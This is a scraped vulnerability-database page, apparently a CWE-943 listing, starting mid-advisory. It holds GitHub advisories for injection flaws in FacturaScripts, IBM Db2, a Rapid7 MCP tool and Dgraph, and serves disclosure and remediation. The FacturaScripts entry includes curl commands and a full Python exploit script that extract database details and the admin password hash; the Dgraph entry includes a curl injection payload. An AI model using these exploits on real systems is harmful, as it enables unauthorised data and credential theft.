  • Customer information (names, addresses, tax IDs, etc.)
  • Financial records (invoices, payments, bank details)
  • Business logic and configuration data
  • Plugin and system settings

Who is Impacted?

  • All FacturaScripts installations running vulnerable versions
  • All authenticated users can exploit (not just admins)
  • Businesses using FacturaScripts for accounting/invoicing
  • Customers whose data is stored in the system

Recommended Fix

Immediate Remediation

Option 1: Use Prepared Statements

// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Credits

Discovered by: Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:17:24Z",
    "nvd_published_at": "2026-02-04T20:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ......\n\n    // VULNERABLE CODE:\n    $sql = \u0027SELECT DISTINCT \u0027 . $fieldCode . \u0027 AS code, \u0027 . $fieldDescription . \u0027 AS description \u0027\n        . \u0027FROM \u0027 . $tableName . Where::multiSqlLegacy($where) . \u0027 ORDER BY 2 ASC\u0027;\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** \u2192 Maps to `$tableName` - Table name injection\n2. **`fieldcode`** \u2192 Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** \u2192 Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" \\\n  -d \"fsPassword=admin\" \\\n  -d \"action=login\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=version()\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=concat(user(),\u0027 @ \u0027,database())\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=password\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: \u0141ukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n    \"\"\"Extract CSRF token from page\"\"\"\n    response = session.get(url)\n    match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, response.text)\n    return match.group(1) if match else None\n\ndef login():\n    \"\"\"Authenticate to FacturaScripts\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    token = get_csrf_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get CSRF token\")\n        exit()\n\n    data = {\n        \"multireqtoken\": token,\n        \"action\": \"login\",\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD\n    }\n    response = session.post(f\"{BASE_URL}/login\", data=data)\n\n    if \"Dashboard\" not in response.text:\n        print(\"[!] Login failed!\")\n        exit()\n    print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n    \"\"\"Execute SQL injection through autocomplete\"\"\"\n    data = {\n        \"action\": \"autocomplete\",\n        \"source\": source,\n        \"fieldcode\": field_code,\n        \"fieldtitle\": field_payload,\n        \"term\": term\n    }\n    response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n    try:\n        return response.json()\n    except:\n        return None\n\ndef main():\n    login()\n\n    print(\"\\n\" + \"=\"*60)\n    print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n    print(\"=\"*60 + \"\\n\")\n\n    # 1. Database version\n    print(\"[*] Extracting database version...\")\n    res = exploit_sqli(\"version()\")\n    if res:\n        print(f\"[+] Database Version: {res[0][\u0027value\u0027]}\")\n\n    # 2. Current user and database\n    print(\"[*] Extracting DB user and database name...\")\n    res = exploit_sqli(\"concat(user(),\u0027 @ \u0027,database())\")\n    if res:\n        print(f\"[+] DB User @ Database: {res[0][\u0027value\u0027]}\")\n\n    # 3. Admin password hash\n    print(\"[*] Extracting admin password hash...\")\n    res = exploit_sqli(\"password\", term=\"admin\")\n    if res:\n        print(f\"[+] Admin Password Hash: {res[0][\u0027value\u0027]}\")\n\n    # 4. All table names\n    print(\"[*] Extracting table names...\")\n    res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n    if res:\n        print(f\"[+] Tables: {res[0][\u0027value\u0027]}\")\n\n    print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" /\u003e\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n  - User credentials (password hashes)\n  - Customer information (names, addresses, tax IDs, etc.)\n  - Financial records (invoices, payments, bank details)\n  - Business logic and configuration data\n  - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ... validation code ...\n\n    // Validate and escape identifiers\n    $safeTableName = self::db()-\u003eescapeColumn($tableName);\n    $safeFieldCode = self::db()-\u003eescapeColumn($fieldCode);\n    $safeFieldDescription = self::db()-\u003eescapeColumn($fieldDescription);\n\n    // Use parameterized query\n    $sql = \u0027SELECT DISTINCT \u0027 . $safeFieldCode . \u0027 AS code, \u0027 . $safeFieldDescription . \u0027 AS description \u0027\n        . \u0027FROM \u0027 . $safeTableName . Where::multiSqlLegacy($where) . \u0027 ORDER BY 2 ASC\u0027;\n\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
  "id": "GHSA-pqqg-5f4f-8952",
  "modified": "2026-02-04T21:57:23Z",
  "published": "2026-02-03T18:17:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FacturaScripts has SQL Injection in Autocomplete Actions"
}

GHSA-PWHP-4QXF-7FF6

Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 is vulnerable to a denial of service, under specific configurations, as the server may crash when using a specially crafted SQL statement by an authenticated user. IBM X-Force ID: 287614.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-31882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-14T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 is vulnerable to a denial of service, under specific configurations, as the server may crash when using a specially crafted SQL statement by an authenticated user.  IBM X-Force ID:  287614.",
  "id": "GHSA-pwhp-4qxf-7ff6",
  "modified": "2025-11-04T18:31:17Z",
  "published": "2024-08-14T18:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31882"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/287614"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240912-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7165338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PWMM-7G3W-8PVP

Vulnerability from github – Published: 2026-09-25 12:31 – Updated: 2026-09-25 12:31
VLAI
Details

Rapid7 Bulk Export MCP versions 0.2.5 through 0.6.1 suffer from a GraphQL query injection issue in the export-status component (get_export_status in src/export_manager.py), whereby the export_id value — an unvalidated MCP tool argument reaching the function via the check_rapid7_export_status and download_rapid7_export tools — is interpolated directly into the GraphQL query string. A crafted export_id containing quote and brace characters can terminate the intended export(id: "...") selection early and append attacker-controlled root-level selections (for example, schema introspection), producing a single well-formed GraphQL document that is then sent to the Rapid7 export API under the operator's own API key.

Notably, this issue does not grant an existing actor any access they do not already have: every injected query executes within the operator's own already-authenticated API scope, using the operator's own valid API key, and cannot cross a tenant or account boundary. A directly-malicious operator gains nothing they could not already do by calling the API directly; the realistic exposure is limited to a compromised or careless upstream MCP client, or indirect prompt injection forwarding an unvalidated identifier. This is fixed in version 0.6.2, which passes export_id as a parameterized GraphQL variable ($exportId: ID!).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-97228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-25T11:17:02Z",
    "severity": "LOW"
  },
  "details": "Rapid7 Bulk Export MCP versions 0.2.5 through 0.6.1 suffer from a GraphQL query injection issue in the export-status component (`get_export_status` in `src/export_manager.py`), whereby the `export_id` value \u2014 an unvalidated MCP tool argument reaching the function via the `check_rapid7_export_status` and `download_rapid7_export` tools \u2014 is interpolated directly into the GraphQL query string. A crafted `export_id` containing quote and brace characters can terminate the intended `export(id: \"...\")` selection early and append attacker-controlled root-level selections (for example, schema introspection), producing a single well-formed GraphQL document that is then sent to the Rapid7 export API under the operator\u0027s own API key.\n\nNotably, this issue does not grant an existing actor any access they do not already have: every injected query executes within the operator\u0027s own already-authenticated API scope, using the operator\u0027s own valid API key, and cannot cross a tenant or account boundary. A directly-malicious operator gains nothing they could not already do by calling the API directly; the realistic exposure is limited to a compromised or careless upstream MCP client, or indirect prompt injection forwarding an unvalidated identifier. This is fixed in version 0.6.2, which passes `export_id` as a parameterized GraphQL variable (`$exportId: ID!`).",
  "id": "GHSA-pwmm-7g3w-8pvp",
  "modified": "2026-09-25T12:31:22Z",
  "published": "2026-09-25T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97228"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rapid7/rapid7-bulk-export-mcp/releases/tag/v0.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2M9-6JP9-C6MC

Vulnerability from github – Published: 2026-06-29 22:53 – Updated: 2026-06-29 22:53
VLAI
Summary
Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query
Details

Summary

The checkUserPassword GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL checkpwd() query via fmt.Sprintf without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.

Details

Vulnerable Code Path

The vulnerability exists in the GraphQL-to-DQL query rewriting layer:

  1. query_rewriter.go (~line 364) — The checkpwd() DQL function is constructed using fmt.Sprintf:

go fmt.Sprintf(`checkpwd(User.password, "%s")`, password)

The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.

  1. graphquery.go — The constructed query attribute is serialized into the final DQL string via b.WriteString(query.Attr), passing the unsanitized content directly to the Dgraph query engine.

Attack Mechanism

A password value containing a double-quote (") terminates the string literal in the checkpwd() function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.

Distinction from CVE-2026-41328 and CVE-2026-41327

CVE-2026-41328 and CVE-2026-41327 address DQL injection in edgraph/server.go, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.

This vulnerability is in a completely different code path — the GraphQL query rewriter (query_rewriter.go → graphquery.go). The checkUserPassword GraphQL query triggers a DQL query via checkpwd(), and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.

PoC

curl -s -X POST http://TARGET:8080/graphql \
  -H "Content-Type: application/json" \
  -d '{ "query": "query { checkUserPassword(name: \"admin\", password: \"x\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\"x\") { msg } }") { msg } }" }'

What to observe:

  • The touched_uids field in the extensions section of the response will be elevated (indicating the injected blocks executed)
  • Dgraph server logs (dgraph alpha output) will show the injected query blocks being parsed and executed
  • The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed

Impact

  • Data enumeration: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via touched_uids metrics and server logs.
  • Schema discovery: An attacker can enumerate all predicates and types in the database by injecting schema {} blocks or has() queries.
  • Resource exhaustion: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.
  • Potential data disclosure: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.

CVSS 3.1: 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Network-accessible via any GraphQL endpoint
  • No authentication required (checkUserPassword is an unauthenticated query)
  • Low attack complexity (single crafted HTTP request)
  • High confidentiality impact (server-side query execution confirmed, data enumeration possible)

Affected Versions

All versions of Dgraph that include GraphQL support with the @secret directive are affected:

  • <= v25.3.3
  • Any version where query_rewriter.go constructs checkpwd() via string interpolation

Suggested Fix

Escape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:

// Before (vulnerable):
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)

// After (escaped):
escaped := strings.ReplaceAll(password, `\`, `\\`)
escaped = strings.ReplaceAll(escaped, `"`, `\"`)
fmt.Sprintf(`checkpwd(User.password, "%s")`, escaped)

Ideally, Dgraph should implement parameterized query support for the checkpwd() function to avoid string interpolation entirely, consistent with best practices for injection prevention.

Credit

Kai Aizen (kai.aizen.dev@gmail.com)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.3.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-29T22:53:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `checkUserPassword` GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL `checkpwd()` query via `fmt.Sprintf` without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.\n\n## Details\n\n### Vulnerable Code Path\n\nThe vulnerability exists in the GraphQL-to-DQL query rewriting layer:\n\n1. **`query_rewriter.go` (~line 364)** \u2014 The `checkpwd()` DQL function is constructed using `fmt.Sprintf`:\n\n   ```go\n   fmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n   ```\n\n   The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.\n\n2. **`graphquery.go`** \u2014 The constructed query attribute is serialized into the final DQL string via `b.WriteString(query.Attr)`, passing the unsanitized content directly to the Dgraph query engine.\n\n### Attack Mechanism\n\nA password value containing a double-quote (`\"`) terminates the string literal in the `checkpwd()` function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.\n\n### Distinction from CVE-2026-41328 and CVE-2026-41327\n\nCVE-2026-41328 and CVE-2026-41327 address DQL injection in **`edgraph/server.go`**, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.\n\nThis vulnerability is in a **completely different code path** \u2014 the **GraphQL query rewriter** (`query_rewriter.go` \u2192 `graphquery.go`). The `checkUserPassword` GraphQL query triggers a DQL *query* via `checkpwd()`, and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.\n\n## PoC\n\n```bash\ncurl -s -X POST http://TARGET:8080/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{ \"query\": \"query { checkUserPassword(name: \\\"admin\\\", password: \\\"x\\\\\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\\\\\"x\\\") { msg } }\") { msg } }\" }\u0027\n```\n\n**What to observe:**\n\n- The `touched_uids` field in the `extensions` section of the response will be elevated (indicating the injected blocks executed)\n- Dgraph server logs (`dgraph alpha` output) will show the injected query blocks being parsed and executed\n- The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed\n\n## Impact\n\n- **Data enumeration**: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via `touched_uids` metrics and server logs.\n- **Schema discovery**: An attacker can enumerate all predicates and types in the database by injecting `schema {}` blocks or `has()` queries.\n- **Resource exhaustion**: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.\n- **Potential data disclosure**: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.\n\n**CVSS 3.1: 7.5 High** \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- Network-accessible via any GraphQL endpoint\n- No authentication required (`checkUserPassword` is an unauthenticated query)\n- Low attack complexity (single crafted HTTP request)\n- High confidentiality impact (server-side query execution confirmed, data enumeration possible)\n\n## Affected Versions\n\nAll versions of Dgraph that include GraphQL support with the `@secret` directive are affected:\n\n- \u003c= v25.3.3\n- Any version where `query_rewriter.go` constructs `checkpwd()` via string interpolation\n\n## Suggested Fix\n\nEscape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:\n\n```go\n// Before (vulnerable):\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n\n// After (escaped):\nescaped := strings.ReplaceAll(password, `\\`, `\\\\`)\nescaped = strings.ReplaceAll(escaped, `\"`, `\\\"`)\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, escaped)\n```\n\nIdeally, Dgraph should implement parameterized query support for the `checkpwd()` function to avoid string interpolation entirely, consistent with best practices for injection prevention.\n\n## Credit\n\nKai Aizen (kai.aizen.dev@gmail.com)",
  "id": "GHSA-q2m9-6jp9-c6mc",
  "modified": "2026-06-29T22:53:52Z",
  "published": "2026-06-29T22:53:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-q2m9-6jp9-c6mc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/commit/cee702c93f141eeb0c96a81f70830ec9e459efac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query"
}

No mitigation information available for this CWE.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.